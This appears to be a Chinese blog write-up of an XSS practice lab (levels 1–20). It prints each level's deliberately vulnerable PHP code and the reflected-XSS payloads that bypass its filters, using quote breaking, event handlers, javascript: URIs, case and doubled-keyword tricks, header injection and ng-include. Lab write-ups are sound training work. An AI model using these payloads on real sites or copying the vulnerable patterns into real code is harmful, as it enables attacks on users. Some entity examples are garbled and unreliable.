Less01
很明显的注入点在get参数name,反射性xss
进行传参,没有任何过滤
Less02
查看网页源码:可以发现表单部分是value的值,因此闭合双引号即可
"><script>alert('starven hacked you!')</script>
html源码变成
<input name=keyword value=""><script>alert('starven hacked you!')</script>">
Less03-突破htmlspecialchars
原以为查看源码发现和上一关相比这一关就是单引号闭合而已
结果输入之后再次查看源码发现符号也被实体化了
然后查看后端代码,部分如下
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
预定义为实体的字符是:
- & (和号)成为 &
- " (双引号)成为 "
- ' (单引号)成为 '
- < (小于)成为 <
- > (大于)成为 >
因此在表单添加鼠标点击(<>和"都可以被显示,双引号也可以拿来闭合,只是<>知识字符串显示而不是脚本标签了)
1' onclick='alert("starven hacked you!")
页面源码变为
<input name=keyword value='1' onclick='alert(starven hacked you!)'>
Less04-双引号闭合注入
html源码
和上一关一样,双引号闭合而已
1" onclick="alert('starven hacked you!')
看了一下后端代码,其实是对尖括号进行了置空
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
Less05-<a href>
标签法&js伪协议
经过人工测试发现
<script <scr_ipt
onclick o_nclike
后端代码也确实是
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
这里我采用js伪协议:
javascript:alert(1)
使用了js伪协议,就是把javascript: :后面的代码当JavaScript来执行
页面源码:
<input name=keyword value="<scr_ipt>alert(1)</script>">
payload:
"><a href=javascript:alert(1)>starven</a>//
or
"><a href="javascript:alert(1)">
Less06-大小写
有了更多的过滤
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
但是我们发现并没有转小写
payload
"><Script>alert('1')</script>//
Less07双写
多了转小写的操作
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
全是置空操作,因此采取双写绕过
payload
"><scscriptript>alert('1')</scrscriptipt>//
Less08-html实体绕过关键字过滤
黑名单过滤挺严格的,但是可以采用html实体绕过
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
payload:
javascript:alert(1)
变换后:
javascript:alert(1)
然后点一下友情链接
payload解释:
后端源码可以看到传的参进入两个地方
echo '
友情链接
';
html实体绕过有&
,因此实体绕过也无法突破htmlspecialchars
所以传参点只有通过<a href="'.$str7.'">友情链接</a>
这里了
附一个https://www.qqxiuzi.cn/bianma/zifushiti.php在线网站
Less09-html实体绕过+白名单
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
代审变换一下payload就可以了,这个白名单不看后端代码感觉不可能想得到
payload:
javascript:alert(1)//http://
变换后:
javascript:alert(1)//http://
Less10-前端突破hidden
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
按照常规套路,看看页面源码
表格部分hidden了,改成text即可
payload
?keyword=well%20done!&t_sort=1" onclick="alert(1)失败
?keyword=well%20done!&t_sort=1" type="text" onclick="alert(1)成功
对比两个payload,其实显而易见,不text的话点都点不了啊
Less11-referer头突破hidden
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
emmm看了下代码头部信息注入了,这里是referer头
payload:和上一关一样
referer: 1" type="text" onclick="alert(1)>//
or
referer: 1" type="text" onclick="alert(1)
Less12-ua头突破hidden
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
其实看前端代码也能一眼看出
一样的payload,ua头注入罢了
Less13-cookie头突破hidden
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
cookie头注入
Less14-图片马exif信息注入
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>
看了一下后端代码,没想到居然是个纯前端
没啥交互,但是会定时转跳到一个奇怪的已经挂掉了的网站,直接看一下后端源码吧
尝试了一下js伪协议,可是并没有进入下一关
然后去看了看wp说是利用转跳到的网站,在那网站去上传一个,属性里面含有xss代码的图片,以达到弹窗的效果,跳过了
Less15-ng-include包含+可替代触发标签
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
ng-include指令用于包含外部的 HTML 文件。意思是可以打开外部的网页文件,如果包涵的内容是地址,需要加引号
引用比较受限,只好引用第一关的了
这里不能包含那些直接弹窗的东西如<script>,但是可以包含那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要我们手动点击弹窗的),这里我使用img标签
,可参考XSS常见的触发标签,构造payload
?src='level1.php?name=<img src=1 onerror=alert(1)>'
Less16-空格绕过+可替代标签
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
payload:空格被ban可以用/绕过但是也被ban,换行符啥的%0a都可以,可替代标签沿用上一关的img
?keyword=<img%0asrc=1%0aonerror=alert(1)>
Less17-embed标签拼接绕过
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
emmm因为浏览器基本不支持flash了,所以我改了一下后端代码swf文件为一张图
embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容,但是呢相对于他们,embed标签打开不了文件的时候就会没有显示的区域在,他们就能有块错误的区域
当?arg01=a&arg02=b的时候是这个样子
虽然加了html转义,但是这里不需要闭合符号,传入的参数都出现在了embed标签上
可以通过onclick onfocus onmouseover进行绕过
payload:
?arg01=a&arg02=a onmouseover=alert() 这个可以firefox成功
?arg01=a&arg02=a%20onclick=alert() 这个firefox不成功,edge成功这我也不知道为啥
分别html源码变成
Less18-embed标签拼接绕过
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
直接拿上一关payload打
Less19&20-flashxss&反编译
<?php
ini_set("display_errors", 0);
echo '<embed src="index.png?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
emmm因为有实体化函数所以无法进行闭合
然后看到文章写需要flash xss注入,所以pass
Comments | NOTHING